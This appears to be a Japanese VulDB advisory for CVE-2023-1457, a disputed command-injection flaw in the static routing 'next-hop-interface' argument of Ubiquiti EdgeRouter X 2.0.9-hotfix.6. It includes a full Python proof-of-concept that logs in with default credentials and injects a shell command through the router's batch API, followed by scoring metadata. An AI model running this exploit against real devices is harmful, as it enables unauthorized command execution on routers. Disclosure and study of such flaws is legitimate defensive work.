Ubiquiti EdgeRouter X 2.0.9-hotfix.6 Static Routing Configuration next-hop-interface 特権昇格 ⚔ [係争中]

履歴差分リンクするjsonxmlCTI

CVSS 一時的なメタスコア	現在のエクスプロイト価格 (≈)	CTI注目指数
7.8	$0-$5k	0.00

要約情報

このたび、Ubiquiti EdgeRouter X 2.0.9-hotfix.6において、重大に分類される脆弱性が見つかりました。この脆弱性により影響を受けるのは、コンポーネント【Static Routing Configuration Handler】の未知の機能です。引数 next-hop-interfaceの操作が、特権昇格をもたらします。この脆弱性はCVE-2023-1457という名称で流通しています。リモートで攻撃を実行することが可能です。さらに、エクスプロイトが存在します。現時点では、この脆弱性の実在性については依然として疑いが残っています。

詳細情報

このたび、Ubiquiti EdgeRouter X 2.0.9-hotfix.6において、重大に分類される脆弱性が見つかりました。この脆弱性により影響を受けるのは、コンポーネント【Static Routing Configuration Handler】の未知の機能です。引数 next-hop-interfaceの操作が、特権昇格をもたらします。 CWEを用いて問題を定義すると、CWE-77 となります。この弱点は 2023年03月17日に発表されました。

この脆弱性はCVE-2023-1457という名称で流通しています。リモートで攻撃を実行することが可能です。テクニカルな情報があります。この脆弱性の人気度は平均より低いです。さらに、エクスプロイトが存在します。エクスプロイトが公に開示されており、悪用される可能性があります。現時点で、エクスプロイトツールの価格はおそらく米ドルで約$0-$5kです。 MITRE ATT&CKプロジェクトによると、攻撃手法はT1202です。

概念実証に指定されています。エクスプロイトツールは vuldb.com にダウンロードのために共有されています。 0-dayの場合、推定されるアンダーグラウンドでの価格は約$0-$5kでした。エクスプロイトに使用されたソースコード：

import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
inject_cmd += ';touch /etc/test'

phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Content-Length': '27', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 
  'Upgrade-Insecure-Requests': '1', 
  'Sec-Fetch-Dest': 'document', 
  'Sec-Fetch-Mode': 'navigate', 
  'Sec-Fetch-Site': 'same-origin', 
  'Sec-Fetch-User': '?1'
  }
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)
loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.post(url=login_url,headers=header,data=login_body,\
      timeout=5,verify=False,allow_redirects=False)
    if r is None or 'Set-Cookie' not in r.headers.keys():
      print("Login failed.")
      time.sleep((3-loop)*3)
    else:
      break
  except Exception as e:
    print('Login error:{}'.format(e))
if r is None:
  print('Failed login,please check and retry!')
  exit(1)
tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
  if 'PHPSESSID' == k:
    phpsessid = '{}'.format(v)
  elif 'X-CSRF-TOKEN' == k:
    csrftoken = '{}'.format(v)
  elif 'beaker.session.id' == k:
    sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) 
param = {
  'SET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': 
    {'next-hop-interface': 'eth2/index.html|{}|'.format(inject_cmd)}}}}}, 
  'GET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': {'next-hop-interface': {'eth2': None}}}}}}}
victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'application/json, text/javascript, /; q=0.01', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/json', 
  'X-CSRF-TOKEN': '{}'.format(csrftoken), 
  'X-Requested-With': 'XMLHttpRequest', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 
  'Sec-Fetch-Dest': 'empty', 
  'Sec-Fetch-Mode': 'cors', 
  'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
  timeout=5,verify=False,allow_redirects=False)
print(r.status_code)

現時点では、この脆弱性の実在性については依然として疑いが残っています。

製品情報

タイプ

Router Operating System

ベンダー

Ubiquiti

名前

EdgeRouter X

バージョン

2.0.9-hotfix.6

ライセンス

営利

CPE 2.3情報

🔍

CPE 2.2情報

🔍

CVSSv4情報

VulDB ベクトル: 🔍
VulDB 信頼性: 🔍

CVSSv3情報

VulDB ベースメタスコア: 8.1
VulDB 一時的なメタスコア: 7.8

VulDB ベーススコア: 7.2
VulDB 一時的なスコア: 6.5
VulDB ベクトル: 🔍
VulDB 信頼性: 🔍

NVD ベーススコア: 9.8
NVD ベクトル: 🔍

CNA ベーススコア: 7.2
CNA ベクトル (VulDB): 🔍

CVSSv2情報

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

ベクトル	複雑さ	認証	機密性	完全性	可用性
解除	解除	解除	解除	解除	解除
解除	解除	解除	解除	解除	解除
解除	解除	解除	解除	解除	解除

VulDB ベーススコア: 🔍
VulDB 一時的なスコア: 🔍
VulDB 信頼性: 🔍

NVD ベーススコア: 🔍

悪用情報

クラス: 特権昇格
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

物理的: いいえ
ローカル: いいえ
リモート: はい

可用性: 🔍
アクセス: パブリック
ステータス: 概念実証
ダウンロード: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

価格予測: 🔍
現在の価格評価: 🔍